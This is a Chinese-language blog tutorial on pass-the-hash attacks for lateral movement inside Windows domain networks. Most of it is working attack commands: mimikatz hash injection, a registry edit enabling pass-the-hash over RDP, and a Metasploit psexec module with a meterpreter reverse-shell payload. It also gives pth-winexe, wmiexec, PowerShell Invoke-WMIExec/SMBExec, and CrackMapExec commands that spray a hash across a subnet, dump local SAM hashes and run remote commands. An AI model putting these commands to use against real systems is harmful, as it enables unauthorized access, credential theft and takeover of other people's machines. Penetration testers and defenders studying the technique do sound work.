Yoga7xm's Blog

内网渗透--Hash传递攻击

字数统计: 1.2k阅读时长: 5 min
2019/04/12 Share

简介

在Windows中,系统通常不会存储用户登录密码,而是存储密码的哈希值。所以当攻击者获取了存储在计算机中的hash值,尽管不知道明文值,也能通过传送密码的Hash值来连接远程主机

【注】微软在2014年发布了KB2871997KB2928120两个补丁,用来阻止域内主机本地用户的网络登录,这样就无法以本地管理员的权限执行wmi、psexec、schtasks、at和文件访问共享,本地用户的PTH方式已经死掉,然而默认的Administrator(SID 500)这个账户仍可以进行PTH,并且在禁用NTLM的情况下,psexec无法进行远程连接,但是使用mimikatz可以攻击成功

原理

通常访问一个UNC路径时,如果没有指定,Windows会自动用当前用户的凭证进行NTLM认证,例如dir \\Target\aaa,由于Window会在lsass中缓存hash值,并使用它们进行认证,所以理论上在lsass中添加包含目标账户的hash的合法数据结构,就可以在使用类似于dir这些命令时用目标账户进行认证

攻击方式

  1. 获取一台域主机高权限
  2. 利用mimikatz等工具导出密码hash
  3. 用导出的hash尝试登陆其他域主机

常用工具

1.mimikatz

演示

利用mimikatz获取目标账户名以及hash值

1
2
3
4
5
* Username : Administrator
* Domain : YOGA
* LM : aad3b435b51404eeaad3b435b51404ee
* NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709

然后在测试机器上使用mimikatz进行Pass The Hash,由于软件的限制运行需要管理员权限

1
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:Yoga /ntlm:86c01dc8633fc387a503b05615f8afb1"

默认是弹出cmd程序,可以利用/run指定传递的程序

实现远程桌面

  1. 限制条件

需要服务器端开启了Restricted Admin mode模式,受限管理员模式 ,主要功能是使得凭据不会暴露在目标系统中,使用当前Windows登录凭据,不需要输入口令,直接登录即可。所以为PTH提供了可能

  1. 适用系统
  • Windows 8.1和Windows Server 2012 R2默认支持该功能
  • Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
  1. 开启RAM模式
1
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
  1. 使用RAM模式连接

mstsc.exe /restrictedadmin

综上述,Server需要开启RAM模式,Client需要支持RAM

1
2
privilege::debug
sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"

然后直接连接登录即可。

或者使用kali下的xfreerdp进行连接

1
xfreerdp /u:administrator /pth:d25ecd13fddbb542d2e16da4f9e0333d /v:192.168.62.136 /cert-ignore

2.MSF

条件:①开启445端口SMB服务(默认开启);②开启admin$共享

1
2
3
4
5
6
7
8
9
use exploit/windows/smb/psexec
set RHOSTS 192.168.1.178
set payload windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.1.144
set SMBUSER Administrator
set SMBPASS d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1
set SMBDomain WORKGROUP
exploit

3.Kali

kali存在以下pass the hash利用工具

  • pth-curl
  • pth-rpcclient
  • pth-net
  • pth-smbclient
  • pth-smbget
  • pth-sqsh
  • pth-winexe
  • pth-wmis
  • pth-wmic
1
pth-winexe -U Administrator%d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1 //192.168.1.178 cmd

4.Wmiexec

传送门

在linux下配置python安装impacket用来横向移动

EXE版本:传送门

1
python wmiexec.py -hashes d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1 WORKSPACE/Administrator@192.168.1.178 "whoami"

【注】

  1. py文件中提示需要Admin用户,经测试普通用户权限即可;
  2. hashes参数格式为LMHASH:NTHASH,由于高版本Windows系统默认不支持LMhash,所以LM可以设定为任意值;
  3. wmiexec.exe是通过python impacket库实现的,生成的exe有点大,5M大小在实战起来有点不方便

wmiexec.png

5.Powershell

PS传送门

Invoke-WMIExec

1
Invoke-WMIExec -Target 192.168.1.161 -Domain WORKGROUP -Username  Yoga -Hash AAD3B435B51404EEAAD3B435B51404EE:14CE14C36F1F350380B41C6F4D42BC06 -Command "calc.exe" -verbose

类似于wmiexec.py 权限为用户权限

invoke-wmiexec.png

Invoke-SMBExec

1
Invoke-SMBExec -Target 192.168.1.161 -Domain WORKGROUP -Username  Yoga -Hash AAD3B435B51404EEAAD3B435B51404EE:14CE14C36F1F350380B41C6F4D42BC06 -Command "calc.exe" -verbose

通过在目标主机创建服务执行命令,所以权限为system

invoke-smbexec.png

Invoke-SMBClient

支持SMB1,SMB2,SMB signing 如果只有SMB文件共享的权限,没有远程执行权限,可以使用这个脚本。可以列举目录、上传文件、下载文件、删除文件(取决于该口令Hash的权限)

详细命令在项目的README中

6.CrackMapExec

项目传送门

CrackMapExec提供了域环境(活动目录)渗透测试中一站式便携工具,它具有列举登录用户、通过SMB(Server Message Block)网络文件共享协议爬虫列出SMB分享列表,执行类似于Psexec的攻击、使用powerShell脚本执行自动式Mimikatz/Shellcode/DLL注入到内存中,dump NTDS.dit密码。

WiKi:https://github.com/byt3bl33d3r/CrackMapExec/wiki

安装:

1
2
3
4
pip install crackmapexec

#报错的话
apt-get install -y libssl-dev libffi-devpython-dev build-essential

对192.168.0.0/24 C段进行批量PTH

1
crackmapexec 192.168.0.0/24 -u administrator -H d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1

获取本地hash

1
crackmapexec smb 192.168.1.161 -u Yoga -H AAD3B435B51404EEAAD3B435B51404EE:14CE14C36F1F350380B41C6F4D42BC06 --sam

执行命令

支持3种Command,参数–exec-method指定,默认为wmiexec执行

  • smbexec (system权限)
  • wmiexec (用户权限)
  • atexec (system权限)
1
crackmapexec smb 192.168.1.161 -u Yoga -H AAD3B435B51404EEAAD3B435B51404EE:14CE14C36F1F350380B41C6F4D42BC06 --exec-method wimexec -x whoami

crackmapexec.png

还支持模块功能,比如反弹msfshell、加载mimikatz等,可以说是非常多的功能了

CATALOG
  1. 1. 简介
  2. 2. 原理
  3. 3. 攻击方式
  4. 4. 常用工具
    1. 4.1. 1.mimikatz
    2. 4.2. 2.MSF
    3. 4.3. 3.Kali
    4. 4.4. 4.Wmiexec
    5. 4.5. 5.Powershell
    6. 4.6. 6.CrackMapExec